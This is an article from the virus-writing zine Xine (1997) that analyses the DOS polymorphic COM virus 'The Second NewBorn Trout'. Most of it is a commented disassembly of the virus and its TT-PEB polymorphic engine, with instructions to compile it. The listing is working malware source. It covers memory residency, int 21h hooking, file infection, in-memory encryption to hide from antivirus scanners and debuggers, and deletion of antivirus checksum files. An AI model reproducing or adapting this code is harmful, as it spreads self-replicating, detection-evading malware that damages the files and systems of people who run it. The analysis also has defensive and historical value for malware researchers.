Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 303

eZine's profile picture
Published in 
Xine
 · 6 months ago

 
/-----------------------------\
| Xine - issue #3 - Phile 303 |
\-----------------------------/


Virus spotlite: The Second NewBorn Trout
by b0z0/iKX, Padania 1997


Virus Name : The Second NewBorn Trout
Author : The Tricky Trout
Origin : Milan (North Italy), 1995
AV Name : Trout-6804 (AVAST!), Trout2.6804 (AVP), Trout.6804 (DrWeb)
Type : Direct action/TSR, Poly, COM infector, Retro
Lenght : 6804 on disk (19967 in memory)

Introduction:
-------------
This is a quite old, but interesting virus from North Italy. Its main point
of interest is undoubtely the good polymorphic engine that can generate a lot
of different types of garbage instructions, including fake interrupt calls
and quite long and complex decryptors, ranging at about 1kb-2kb. This should
sound sorta normal nowadays, but for the past days in 1995 it was a great
engine, maybe one of the best around as some AVers stated at the time.

Virus description:
------------------
As it is quite usual the virus will shrink the last MCB and place itself
there. Of course it will then hook interrupt 21h, but instead of pointing
from the IVT directly to the virus handler it will put in the IVT the adress
to the first byte in the new virus segment in high memory. Here (while on
the disk there are some garbage instructions, this is the 5 NOPs at the 1st
gen) the virus will put a jump to the real virus interrupt 21h handler plus
a word as marker. This is done to make the unhooking from the interrupt
21h chain easier. Infact when the virus notices some dangerous program is
going to be started it will encrypt itself in memory and unhook from the
interrupt chain. But more about this stealth feature later.
Just after going resident TSNBT will turn into a direct action infector to
be sure that the system will became infected. It will infact search for and
infect 5 files in each of the search paths, starting from current directory
on drive C:, then pointing directly to the file C:\DOS\KEYB.COM (quite usual
on every DOS-like system. Of course this search won't be done 5 times ;) ),
then scanning in the C:\DOS directory and finally scanning for COMs in the
current directory. In this way the virus is quite sure that it has been
sucesfully installed on the new system :-)
At this point, when the installation in memory and on the disk are completed,
the virus will return the control to the original host. After restoring the
host data TSNBT will create a small routine on the stack and will pass the
control to her. This routine will delete the virus from the memory after
the host with zeros and then will pass the control to the host. In this
way the virus isn't present anymore after the host in memory, sorta stealth :)
While in memory the virus will check for quite a few int 21h functions.
Infact on every execute (4b00h and 4b01h), open (3dh), extended open (6c00h),
rename (56h) and filename parse to fcb (29h) it will check if the file can
be infected (by comparing to the AV, system files and such like strings) and
then will try to infect it. The infection stage is quite an usual COM infection
stage, so nothing special to write :) When a file is executed before the
infection an additional check is done. The virus will check if the program
that is going to be run is an antivirus or a debugger. If so the virus,
apart from not infecting the file, will encrypt itself in memory, unhook
from the interrupt 21h chain (simply putting a jmp far to the old handler
in the 5 bytes we talked about above), setup the stack so the return adress
after the execution will point to the newly generated decryption code and setup
a small routine on the stack that will delete the unencrypted copy of the virus
and then pass the control to the next handler in the interrupt 21h chain. Then
the virus will jump on the routine on the stack that, as said, will overwrite
the unencrypted virus body, leaving of course the encrypted copy that will
be stored higher in the memory block, and then execute the interrupt 21h
funcion requested by the user (4b00h or 4b01h). In this way the antivirus
or debugger that has been executed won't find the virus in the interrupt 21h
chain and won't even be able to scan the memory for a simple scan string!
Infact what is cool is that the virus isn't just encrypted with a standard
loop but the poly engine TT-PEB that is used for the files is used for
memory too, with some additional parameters of course. So detection in memory
is quite hard, at least as hard as on disk. When the antivirus or debugger
will finish it's work DOS will pass control to the CS:IP the virus pushed
previsiously on the stack that points on the decryptor of the virus in
memory. So the virus will decrypt and reinstall itself again in memory.
Finally at every sucessfull infection the virus will delete some well
known CRC files of the most common antiviruses.

Poly engine description:
------------------------
As already said the poly engine, the "Tricky Trout Plurimorphic Encryptor
Builder" (shortly TT-PEB) is very interesting. The version used here is the
2.01, but I don't know of other versions before this one. The TT-PEB is
highly based on the use of tables. Infact for a lot of tasks, in the
generation of the main decryption loop instructions, the TT-PEB selects the
routine to be executed from a table containing adresses. The heart of this
method is the procedure tbl2addr that given the adress of the table and the
number of elements in it will return in AX a randomly choosen adress from the
table. A JMP or a CALL to the AX value will then proceed to the generation of
the selected code. This can be used of course also just to select an element
in AX from the table and use it in another way :-)
The assignation of the values to the register used as pointer, to the
register used as counter and to the register used to hold the key of the
decryptor is done in a random sequence. The assignation of the value can be
done in three different ways: directly assigning the 16bit value to the
register, by assigning first the low 8bits and later the high 8bits, by
assigning first the high 8bits and then the low 8bits. Of course this is done
when the selected register is suitable for doing that!
The methods of encryption are the usual ones: XOR, ADD and SUB. Only 8bit
math operation can be done. The operation can be done with an immediate value
or using the key register, but this will have anyway a fixed value in the loop.
The rest of the loop doens't offer many possible choices. There are three
possible ways of checking if the counter came to zero (check check_counter)
and a standard JZ+JMP construct with garbage in the middle to get back to
the decryption loop.
The garbage generation is interesting too. The garbage instructions are
generated with something like a garbage compiler based on given garbage
construction commands. The main garbage routine (garb_compiler) will infact
examine byte by byte the pointed garbage construction command. The data in
this construction commands should be interpreted as a command to execute or
just as data to the previous command. It's not so simple to write :-)
Let's see a schematic example:

garb_cmd db X1-A, D1A, X2-B, D2A, D2B, X3-B, D3A, D3B, X4, END

The Xn should be directives to execute some commands. The -A prefix means
that one parameter is required, -B two parameters, no prefix no parameters.
The Dnk are just data bytes that are required by the command before them.

The garbage compiler will start reading from the first byte and execute
the command X1-A (the adress in memory of the command is, again, calculated
with a table). This will do something using the data D1A too (for example the
X1-A should just store the D1A byte to the buffer where the decryptor is
going to be done or store the D1A plus and additional word or something else).
The X1-A will also update the pointer to the next instruction to be
interpreted, this is X2-B. So then the X2-B, that will use two data bytes,
will be executed, then the X3 that agains need two params and finally execute
X4 that doesn't need extra data.
In the TT-PEB itself the commands are represented by the garb_rrXX routines
(XX from 00 to 32). The table that converts a command byte to the adress of
the routine is the garb_routines table. Some commands are also called by
other commands, not just directly from the garbage compiler. As you can see
from the source (sorry, i'm not so lazy to comment one by one :) ) the
garb_rrXX rotuines do various things, from just copying the data byte
given on the given data byte (garb_rr00), or testing if a register (given
as data byte) is already used for the main decryption loop (garb_rr2e), or
testing if we are already in the decryptor loop (garb_rr32), or copy the given
amount of data bytes to the decryptor space (garb_rr01, this takes the first
data byte as the number of bytes to copy and the next bytes as data to be
copyed) and so on.
A command value of 0ffh means that the command has finished or it has to
be stopped (for example if a test for a register has been negative).
In my opinion this kind of garbage generator is very cool, extremely
elegant and easy to extend. The only bad thing i can see is the space used:
infact it should need too much space for some kind of construct, for example
for the generation of one byte garbagers.
The TT-PEB can generate a good variety of garbage instructions: math
operations with registers and memory, operations with registers, comparations
and the usual stuff. It is interesting that the poly also generates code to
use (in math operations) or compare memory using registers as pointers and
not just only immediate adresses (ex. mov ch,byte ptr ds:[bx+di] and such).
There are also a few fake interrupt calls to both int 13h and 21h. A few
more simple call and jump instructions are also included (see garb_cf0 to
garb_cf5 in source, they are fully described there).
Another interesting thing is that after the decryptor will be generated the
poly will execute it from memory to encrypt the body of the virus. Of course
the TT-PEB will put a RET instruction just after the end of the decryptor
(encryptor) so it will be able to get control again. When the decryptor will
finish to encrypt the body the TT-PEB will finally delete the RET used just
in memory, will change the math operation that encrypted the body to its
complementary for the decryption and will finally put the real value to the
assignation of the pointer (since before it just put the assignation valid
for execution in memory).

The disasm:
-----------
Here you have the entire disasm of the virus and of the TT-PEB. Some parts
like the garbage generation routines aren't fully commented since they are
quite simple to understand for the average poly coder. Also I left out many
labels and a few comments from the first hand Sourcer pass. I am not so lazy
to change every label just to hide the first pass :)
Here comes the source! To get the original compile using TASM 3.0:

TASM /m5 2trout.asm
TLINK /t 2trout.obj

Enjoy!


;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ The Second NewBorn Trout ÛÛ
;ÛÛ Written by The Tricky Trout ÛÛ
;ÛÛ Milan, North Italy 1995 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disasm by b0z0/iKX ÛÛ
;ÛÛ Padania 1997 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

virus_length equ (offset tsnbt_fend - offset tsnbt_start)
virus_mem equ (offset mem_end - offset tsnbt_start)

seg_a segment byte public
assume cs:seg_a, ds:seg_a

org 100h

tsnbt_start:
nop
nop
nop
nop
nop
tt_real_virus:
sti
cld

pushf
push ax
call delta_offset

delta_offset:
mov si,01
cli
xchg si,sp
lodsw ; call adress in AX
xchg sp,si
sti

sub ax,offset delta_offset ; calculate delta offset
mov bp,ax ; delta offset in BP

cmp byte ptr cs:[poly_in_mem + bp],0
mov byte ptr cs:[poly_in_mem + bp],0
jnz run_from_mem

pop ax
popf

call restore_victim ; restore victim data
call res_check
jz already_resident

call mem_signature
call go_resident
call infect_sys

already_resident:
; here the virus creates a bounch of bytes of code on the stack that will
; overwrite the virus in memory (the one after the infected file, of course
; not the one resident in mem :) ) with zeros and then return the control
; to the host (this is CS:100h)

sub bx,bx
mov cx,0ffh
mov dx,cs
mov si,100h
mov di,0fffeh

mov ax,00h
push ax ; push 00

mov ax,08cah ; push 0ca08 ('retf 8' with
push ax ; the previous zeros)

mov ax,595fh ; push 5f59h ('pop di',
push ax ; 'pop cx')

mov ax,0aaf3h ; push f3aah ('rep stosb')
push ax

cli
mov word ptr ds:[jump_sp + bp],sp
mov word ptr ds:[jump_ss + bp],ss
sti ; store SS:SP for our jump
; on the stack

push cs ; this will be the return
push si ; adress

push di
push cx

lea di,cs:[105h + bp] ; point on virus body
mov cx,virus_length ; the rep stosb will delete
sub ax,ax ; the virus in memory with
sub bp,bp ; zeros (in mem after the COM)


db 0eah ; jmp far on our code on the
jump_sp dw 00h ; stack
jump_ss dw 00h

run_from_mem:
; if the virus is encrypted in memory after the decryptor it will rehook the
; int 21h and copy just it's decrypted body where on its place

mov ax,cs
mov ds,ax
mov es,word ptr ds:[poly_segmem + bp]
lea si,ss:[int21h_jump + bp]
mov di,100h ; put again the virus int 21h
mov cx,5 ; handler in the chain
rep movsb

lea si,ss:[105h + bp]
mov cx,virus_length ; reput virus to it's place
rep movsb ; in memory

pop ax ; pop exec return stuff
popf

pop bp ; correct stack from the
pop es ; work before
pop ds
pop di
pop si
pop dx
pop cx
pop bx
retf 2 ; go on :)

restore_victim:
lea si,ss:[orig_bytes + bp] ; point on victim saved data
mov di,100h
mov cx,5
rep movsb ; restore the 5 bytes
retn

res_check:
mov ax,6353h ; residency check call
mov cl,0
int 21h
cmp ax,3254h ; set flags and set ds=cs
mov ax,cs
mov ds,ax
retn

mem_signature:
push ds
sub ax,ax
mov ds,ax ; set a virus marker in memory
mov word ptr ds:[20ch],'XV'
pop ds
retn

go_resident:
push ds
push es
mov ax,cs
sub ax,1
mov ds,ax ; on mcb

cmp byte ptr ds:[0],'Z' ; last mcb?
je is_our_last
jmp short bad_memory
is_our_last:
mov ax,virus_mem ; needed memory
mov cl,4
shr ax,cl ; convert to paras
add ax,1

mov dx,word ptr ds:[3]
sub dx,ax
mov word ptr ds:[3],dx ; shrink for virus

sub bx,bx
mov es,bx

shr ax,cl
shr cl,1
shr ax,cl ; convert to kbs
add ax,1

sub word ptr es:[413h],ax ; lower system memory

mov ax,cs
add dx,ax
sub dx,10h ; calculate virus segment
mov es,dx

cli
sub ax,ax
mov ds,ax

mov ax,100h ; BX:AX point to the jump
mov bx,es ; to the int 21h handler

xchg ds:[21h * 4],ax ; hook int21h
xchg ds:[21h * 4 + 2],bx

mov cs:[orig_int21h + bp],ax
mov word ptr cs:[orig_int21h+2 + bp],bx

mov word ptr cs:[int24_off + bp],offset int24h_handler
mov word ptr cs:[int24_seg + bp],es
; initialize int24h adress
mov ax,cs
mov ds,ax

lea si,ss:[int21h_jump + bp]
mov di,100h
mov cx,5 ; copy the jump to int 21h
rep movsb ; handler

lea si,ss:[105h + bp]
mov cx,virus_length ; copy virus to memory
rep movsb
sti

bad_memory:
pop es
pop ds
retn

infect_sys:
; when the virus goes resident it will search for some files to infect that
; are usually on every system (look at the string later in the source). this
; of course is a good idea to implant the virus in the system.

push ds
mov ah,2Fh ; get dta
int 21h

push bx
push es
mov ah,1Ah ; set dta
lea dx,ss:[offset mem_buff + bp] ; dta to our free mem
int 21h

lea dx,cs:[fastfile1 + bp] ; fastly infect some
call fast_infect ; files on the system
lea dx,cs:[fastfile2 + bp]
call fast_infect
lea dx,cs:[fastfile3 + bp]
call fast_infect
lea dx,cs:[fastfile4 + bp]
call fast_infect

pop ds
pop dx
mov ah,1ah ; set original dta
int 21h

pop ds
retn

fast_infect:
mov byte ptr ds:[fast_cntr + bp],0 ; initialize counter
mov ah,4Eh ; findfirst
mov cx,3
do_find_fn:
int 21h
jc end_fast_inf ; carry = finished

mov si,dx
lea di,ss:[buff_2 + bp]
loc_11:
mov al,[si]
cmp al,'*' ; wildcard search?
je loc_12
mov [di],al
cmp al,0 ; end of name
je loc_14
add si,1
add di,1
jmp short loc_11
loc_12:
lea si,ss:[buff_1 + bp]
loc_13:
mov al,[si]
mov [di],al
add si,1
add di,1
cmp al,0
jne loc_13
loc_14:
push dx

mov ax,6353h ; virus internal function
mov cl,1 ; to infect a file
lea dx,cs:[1BC9h + bp]
int 21h

pop dx
mov ax,cs
mov ds,ax
jc loc_15 ; carry no infection, so
; don't update counter

add byte ptr ds:[fast_cntr + bp],1
cmp byte ptr ds:[fast_cntr + bp],5
je end_fast_inf ; already 5 infected files?
loc_15:
mov ah,4fh ; set AH for findnext call
jmp short do_find_fn
end_fast_inf:
retn

int21h_handler:
; Interrupt 21h handler
cmp ax,4b00h ; execute
je exec_on21

cmp ax,4b01h ; execute
je exec_on21

cmp ah,3dh ; open
je open_on21

cmp ax,6c00h ; extended open
je eope_on21

cmp ah,56h ; rename
je open_on21

cmp ah,29h ; parse filename into fcb
je eope_on21

cmp ax,6353h ; residency and internal
je resi_on21 ; virus stuff

chain_on21:
jmp dword ptr cs:[orig_int21h]
exec_on21:
call filenmav_chk
jnc no_av1
jmp av_executed
no_av1:
call filename_chk
jc bad_name1
call infect_file
bad_name1:
jmp short chain_on21

open_on21:
call filename_chk
jc bad_name2
call infect_file
bad_name2:
jmp short chain_on21

eope_on21:
push dx
mov dx,si
call filename_chk
jc bad_name3
call infect_file
bad_name3:
pop dx
jmp short chain_on21

resi_on21:
cmp cl,0
je just_residency_check

cmp cl,1
je infect_it
iret

just_residency_check:
mov ax,3254h
iret ; Interrupt return
infect_it:
call filename_chk
jc loc_ret_28

mov byte ptr cs:[good_inf],0
call infect_file
cmp byte ptr cs:[good_inf],1

loc_ret_28:
retf 2

filename_chk:
; ok exit without carry, bad exit with carry. Bad exit if:
; 1) the extension isn't COM
; 2) the file is an OS file
; 3) file is an AV

call push_all
mov si,dx
nnn_loop:
cmp byte ptr [si],0 ; end of the string?
je end_string

cmp byte ptr [si],'.'
je got_dotext

add si,1
jmp short nnn_loop
got_dotext:
add si,1
push dx
mov dx,si

mov di,offset com_suffix
call cmpre_names ; check if the extension
; is COM

pop dx
jc ok_extcom ; extension is ok
end_string:
stc
jmp short exit_cmp1
ok_extcom:
mov di,offset os_files ; check if os file
call cmpre_names
jc exit_cmp1 ; carry = sysfile, leave it

mov di,offset av_names ; check if av
call cmpre_names
exit_cmp1:
call pop_all
retn

filenmav_chk:
; check if the filename is an antivirus. carry if it is

call push_all
mov di,offset av_names
call cmpre_names
call pop_all
retn

cmpre_names:
; DS:DX = pointer on path to file to check
; CS:DI = pointer on string (or strings) to compare the filename to

mov si,dx
loop_change:
mov bx,si ; pointer on filename in BX
path_loop:
cmp byte ptr [si],0 ; end of filename
je end_path_loop

cmp byte ptr [si],'\'
je delimitator

cmp byte ptr [si],':'
je delimitator

add si,1
jmp short path_loop
delimitator:
add si,1
jmp short loop_change ; set filename starting
; point
end_path_loop:
mov cl,0
mov si,bx ; SI pointer on filename

cmp byte ptr cs:[di],0 ; end of string?
jne check_string

clc ; no carry, name is ok
retn
check_string:
mov al,byte ptr ds:[si] ; AL = filename char
mov ah,byte ptr cs:[di] ; AH = compared char
or al,20h ; convert to lowercase
or ah,20h

cmp al,ah
je char_match
mov cl,1 ; cl=1, name differs
char_match:
add si,1 ; both to next char
add di,1

cmp ah,'.' ; end of name to check?
je founded_dot

cmp ah,20h
jne check_string
founded_dot:
cmp cl,1 ; if cl=1 at least one
; char differs
je end_path_loop

stc ; carry, ok name
retn

loc_41:
jmp loc_45
jmp loc_43
loc_42:
jmp loc_44

infect_file:
mov word ptr cs:[finf_name],dx
mov word ptr cs:[finf_name+2],ds

call push_all
call handler_24

call get_attrib
jc loc_41

mov word ptr ds:[orig_att],cx ; save attribs

call open_ro
jc loc_41

call get_time
mov word ptr ds:[f_time],cx ; save file time and date
mov word ptr ds:[f_date],dx

mov cx,5
mov dx,offset orig_bytes ; read 5 bytes from head
call read_file

cmp ax,cx ; check if readed 5 bytes
jne loc_42

cmp word ptr ds:[orig_bytes],'ZM' ; exe?
je loc_42

cmp word ptr ds:[orig_bytes],'MZ' ; exe?
je loc_42

cmp word ptr ds:[orig_bytes+3],'T2' ; already infected?
je loc_42

call lseek_fend ; get file lenght
cmp dx,0
jne loc_42

cmp ax,0e000h
jae loc_42 ; Jump if above or =

cmp ax,5
jb loc_42 ; Jump if below

mov ds:[f_length],ax
call close_file

sub cx,cx
call set_attrib ; delete attributes
jc loc_41

call open_rw ; open in RW mode now
jc loc_41

call lseek_fend

mov byte ptr [good_inf],1
push ds
push es
mov ax,cs
mov dx,offset mem_buff ; mem for poly use
mov cl,4
shr dx,cl
add dx,1
add ax,dx
mov es,ax

mov dx,offset tt_real_virus ; set poly params
mov cx,virus_length
mov bp,word ptr ds:[f_length]
add bp,100h
sub si,si
mov ax,6
call ttpeb ; call poly engine

call write_file
pop es
pop ds

call lseek_fsta
mov ax,ds:[f_length]

sub ax,3
mov byte ptr [orig_bytes],0e9h ; jump to virus
mov word ptr [orig_bytes+1],ax
mov word ptr ds:[orig_bytes+3],'T2' ; marker

mov cx,5
mov dx,offset orig_bytes ; write new head
call write_file

mov cx,word ptr ds:[f_time]
mov dx,ds:[f_date]
call set_time ; set orig time

call close_file ; close file

mov cx,word ptr ds:[orig_att]
call set_attrib ; set orig attribs

call delete_crcs
jmp short loc_45
loc_43:
call close_file
mov cx,word ptr ds:[orig_att]
call set_attrib
jmp short loc_45
loc_44:
call close_file
jmp short loc_45
loc_45:
call handler_24
call pop_all
retn

get_attrib:
mov al,0
jmp short do_attrib
set_attrib:
mov al,1
jmp short do_attrib
do_attrib:
lds dx,dword ptr cs:[finf_name]
mov ah,43h ; chmod
call orig_int21
mov ax,cs
mov ds,ax
retn

open_ro:
mov al,0
jmp short do_open
open_rw:
mov al,2
jmp short do_open
do_open:
lds dx,dword ptr cs:[finf_name]
mov ah,3Dh ; open file
call orig_int21
xchg bx,ax ; handle in bx
mov ax,cs
mov ds,ax
retn

get_time:
mov al,0
jmp short do_time
set_time:
mov al,1
jmp short do_time
do_time:
mov ah,57h ; set/get file date/time
call orig_int21
retn

lseek_fsta:
mov al,0
jmp short lseek
lseek_fend:
mov al,2 ; lseek from end
jmp short lseek
lseek:
sub cx,cx
sub dx,dx
mov ah,42h ; lseek
call orig_int21
retn

read_file:
mov ah,3fh ; read from file
call orig_int21
retn

write_file:
mov ah,40h ; write to file
call orig_int21
retn

close_file:
mov ah,3Eh ; close file
call orig_int21
retn


delete_crcs:
; deletes checksum files and such things

mov dx,offset crc_files
loc_50:
mov di,offset mem_buff
lds si,dword ptr cs:[finf_name]

push si
mov si,dx
cmp byte ptr cs:[si],'\'
pop si
jnz loc_52

cmp byte ptr [si+1],':'
jne loc_51

mov ax,word ptr ds:[si]
mov word ptr cs:[di],ax
add si,2
add di,2
loc_51:
jmp short loc_56
loc_52:
mov al,byte ptr ds:[si] ; copy file name
mov byte ptr cs:[di],al
add si,1
add di,1
cmp al,0
jne loc_52

mov si,offset mem_buff
loc_53:
mov di,si
loc_54:
cmp byte ptr cs:[si],':'
je loc_55

cmp byte ptr cs:[si],'\'
je loc_55

cmp byte ptr cs:[si],0
je loc_56

add si,1
jmp short loc_54
loc_55:
add si,1
jmp short loc_53
loc_56:
mov si,dx
loc_57:
mov al,byte ptr cs:[si]
mov byte ptr cs:[di],al
add si,1
add di,1
cmp al,0
jne loc_57

mov ax,cs
mov ds,ax
push dx

mov ax,4301h ; delete file attributes
sub cx,cx
mov dx,offset mem_buff
call orig_int21

mov ah,41h ; delete file
mov dx,offset mem_buff
call orig_int21

pop dx
mov si,dx
loc_58:
cmp byte ptr [si],0
je loc_59
add si,1
jmp short loc_58
loc_59:
add si,1
cmp byte ptr [si],0 ; two zeros means end
je loc_ret_60
mov dx,si
jmp loc_50

loc_ret_60:
retn

handler_24:
push ds ; install/uninstall virus
sub ax,ax ; int24h handler
mov ds,ax
mov ax,cs:[int24_off]
mov bx,cs:[int24_seg]

xchg ds:[24h * 4],ax
xchg ds:[24h * 4 + 2],bx

mov cs:[int24_off],ax
mov cs:[int24_seg],bx
pop ds
retn

orig_int21:
pushf ; do a call to original 21h
call dword ptr cs:[orig_int21h]
retn


push_all:
pop word ptr cs:[return_addr]
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
jmp word ptr cs:[return_addr]

pop_all:
pop word ptr cs:[return_addr]
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp word ptr cs:[return_addr]

return_addr db 0ah,04h ; temp stuff

int24h_handler:
mov al,3
iret

av_executed:
; if a known antivirus (from the latter strings) is going to be run the virus
; will reput the old int21h handler in the chain. then the virus will
; encrypt itself (poly encryption using TT-PEB) in memory. using a small
; routine on the stack the virus will then erase its clean copy from the
; memory (leaving just the encrypted one) and jump far to the original
; int 21h routine that will execute the antivirus. at the return from the
; exec routine, cs:ip will be set to the poly decryptor generated in memory
; (since the virus will push on the stack also the cs:ip of that) and so
; the virus will be able again to get power

pushf
call push_all
mov byte ptr cs:[poly_in_mem],1
mov word ptr cs:[poly_segmem],cs

mov byte ptr cs:[100h],0eah

mov ax,word ptr cs:[orig_int21h]
mov bx,word ptr cs:[orig_int21h+2]

mov word ptr cs:[101h],ax ; restore old int21h
mov word ptr cs:[103h],bx

mov ax,cs
mov dx,offset mem_buff
mov cl,4
shr dx,cl ; mem for poly
add ax,dx
add ax,1
mov es,ax

mov ax,cs
mov ds,ax
mov dx,105h ; poly params
mov cx,virus_length
sub bp,bp
sub si,si
mov ax,0Fh
call ttpeb ; call poly

mov cs:[encvir_dx],dx ; save seg:off of the
mov cs:[encvir_ds],ds ; encrypted body in mem
call pop_all
popf

push bx
push cx
push dx
push si
push di
push ds
push es
push bp
pushf

push cs:[encvir_ds] ; where int 21h will return
push cs:[encvir_dx] ; after the execution of the
; antivirus
mov cx,6
push cx
mov cx,0ca07h ; push 'retf 6'
push cx ; and 'pop es'
mov cx,0aaf3h
push cx ; push 'rep stosb'

cli
mov word ptr cs:[jump_sp2],sp
mov word ptr cs:[jump_ss2],ss
sti

push word ptr cs:[orig_int21h+2] ; where will the
push word ptr cs:[orig_int21h] ; ret jump
push es
mov cx,cs
mov es,cx
mov di,105h ; point on virus body in high
mov cx,virus_length ; memory

db 0eah ; jmp far to the created
jump_sp2 dw 00h ; routine on the stack that
jump_ss2 dw 00h ; will delete the clear body
; from memory and then execute
; the int 21h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; TT-PEB (Tricky Trout Plurimorphic Encryptor Builder) v 2.01
;
;
; Entry parameters:
; AX = The low 4 bits are used as parameters to the poly:
; 1 bit: 1 force CS on decrypt operation (0 no CS:)
; [0 for files, 1 when body run in mem]
; 2 bit: 1 create garbage (0 no garbage)
; 3 bit: 1 create more garbage (0 less garbage)
; 4 bit: 1 create code to save (and restore at end)
; the AX register and the flags (this is do
; a push ax and pushf)
; [1 needed when body run in mem, since it is
; needed to preserve the return stuff]
; BP = Offset at which the code will run
; CX = Length of code to be encrypted
; DS:DX = Pointer on code to be encrypted
; ES:SI = Pointer on temp space for poly use
;
; On exit:
; AX = CX on entry
; CX = Length of generated code
; DS:DX = Pointer on generated code
;
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

poly_marker db '[TT-PEB]'

ttpeb:
cli ; store SS and SP
mov word ptr cs:[tt_saved_sp],sp
mov word ptr cs:[tt_saved_ss],ss
mov sp,cs ; set stack to our
mov ss,sp ; memory
mov sp,offset tt_stack
sti

push bx
push si
push bp ; save some parameters
mov word ptr cs:[tt_saved_dx],dx
mov word ptr cs:[tt_saved_ds],ds
mov word ptr cs:[tt_saved_cx],cx
mov word ptr cs:[tt_saved_bp],bp
mov word ptr cs:[tt_saved_si],si
mov word ptr cs:[tt_saved_ax],ax

mov ax,cs
mov ds,ax
poly_init:
mov byte ptr [pntr_reg],0ffh ; initialize all
mov byte ptr [cntr_reg],0ffh ; poly variables and
mov byte ptr [oper_reg],0ffh ; such
mov byte ptr [pntr_chdone],0ffh
mov byte ptr [cntr_chdone],0ffh
mov word ptr [rnd_pos],0ffffh
mov byte ptr [spec_cnst],0ffh
mov byte ptr [some_lock],0ffh
mov byte ptr [decr_init],0ffh

; here the TT-PEB will create a table with offsets to garbage constructs
; (offsets are from the garbage_offsets table) to be used in garbage
; generation in the entire poly process

mov si,offset garbage_offsets
mov di,2
do_mem_tbl:
call get_random ; how many times will this
and al,3 ; adress figure out?
cbw

mov cx,ax
mov ax,word ptr [si] ; get adress

cmp ax,0 ; AX=00 if garbage_offsets
je mem_tbl_end ; table ended

cmp cx,0
je cx_zero
rep stosw
cx_zero:
add si,2 ; go to next entry in g_off
jmp short do_mem_tbl ; table
mem_tbl_end:
sub di,2
shr di,1

mov es:[0],di ; nr of garbage adresses
mov ax,es
add ax,40h
mov es,ax ; where the decryptor
sub di,di ; will be created

mov ax,[tt_saved_ax]
and ax,8 ; need to preserve AX and F?
cmp ax,0
je no_saveaxf

call get_random
and al,2 ; two ways to do it
cmp al,0
je loc_66

mov ax,509ch ; 'pushf' 'push ax'
stosw
mov ax,9d58h ; 'pop ax' 'popf' for later
jmp short loc_67
loc_66:
mov ax,9c50h ; 'push ax' 'pushf'
stosw
mov ax,589dh ; 'popf' 'pop ax'
loc_67:
push ax ; will store at the end of
; the decryptor
no_saveaxf:
mov ax,[tt_saved_ax]
and ax,4 ; more or less garbage
cmp ax,0
je not_toogarby
call garb_cntr
call garb_cntr ; garbageeeeee :)
call garb_cntr
call garb_cntr
not_toogarby:
call regs_set ; set one reg (cnt/pnt/op)
call garb_cntr
call garb_cntr
call regs_set ; set another reg
call garb_cntr
call garb_cntr
call regs_set ; set remaining reg
call garb_cntr
call garb_cntr
mov [dec_loop_start],di ; save offset where will
mov byte ptr [decr_init],0 ; decryptor jump to
call garb_cntr
call garb_cntr
call math_oper ; math oper on mem
call garb_cntr
call garb_cntr
call incdec_pntcnt ; pnt/cnt update
call garb_cntr
call garb_cntr
call incdec_pntcnt ; remaining pnt/cnt update
call garb_cntr
call garb_cntr
call check_counter ; check on counter creation
call make_cond_jump ; conditional jump for end
call jump_back ; long jump back to start of
; decryptor
mov byte ptr [decr_init],0ffh
mov byte ptr [pntr_reg],0ffh ; reset reg uses
mov byte ptr [cntr_reg],0ffh
mov byte ptr [oper_reg],0ffh

mov ax,[tt_saved_ax]
and ax,4
cmp ax,0
je not_toogarby2
call garb_cntr
call garb_cntr
not_toogarby2:
mov ax,[tt_saved_ax]
and ax,8 ; need to preserve AX and F?
cmp ax,0
je loc_71
pop ax ; get the pops from stack
stosw ; and store them
loc_71:
mov al,0cbh ; store the retf
stosb
mov [encr_pnt],di ; save its position

push es
mov ax,es
sub ax,40h
mov es,ax
sub di,di
mov cx,400h ; clear generation tables
mov al,0
rep stosb
pop es

mov si,[pntr_pos]
mov ax,[encr_pnt] ; set pointer assignment
mov es:[si+1],ax ; in decryptor (the memory
; one! the definitive that
; will be run will be put
; later
push ds
lds si,dword ptr [tt_saved_dx]
mov di,ds:[encr_pnt]
mov cx,cs:[tt_saved_cx]
rep movsb ; copy virus body after generated
; code
pop ds

mov ax,es
mov ds,ax

mov ax,offset return_ply
push cs ; push return adress on the stack
push ax

sub ax,ax
push es
push ax
retf ; jump on encryptor

return_ply: ; returning point after the encryptor
; (hehe, decryptor :) ) has been
; executed
sti
cld
mov ax,cs
mov ds,ax
mov si,[mate_pos]
mov al,[math_oc]
mov es:[si],al ; set the inverse math operation in
; the decryptor
mov di,[encr_pnt]
mov byte ptr es:[di-1],90h ; put a NOP where the RET
; was
mov si,[pntr_pos]
mov ax,[encr_pnt]
add ax,[tt_saved_bp]
add ax,[tt_saved_si] ; put starting value for
mov es:[si+1],ax ; memory pointer register
; in the decryptor
push ds
lds si,dword ptr cs:[tt_saved_dx]
mov di,cs:[encr_pnt]
mov cx,10h
add si,cx
add di,cx
repe cmpsb ; check that body is encrypted
pop ds
jnz body_encrypted

mov ax,es
sub ax,40h ; if not start again
mov es,ax
jmp poly_init
body_encrypted:
sub dx,dx
mov ax,es
mov ds,ax
sub ax,40h
mov es,ax
mov cx,cs:[encr_pnt] ; set return values
add cx,cs:[tt_saved_cx]
mov di,cs:[encr_pnt]
mov ax,cs:[tt_saved_cx]
pop bp
pop si
pop bx

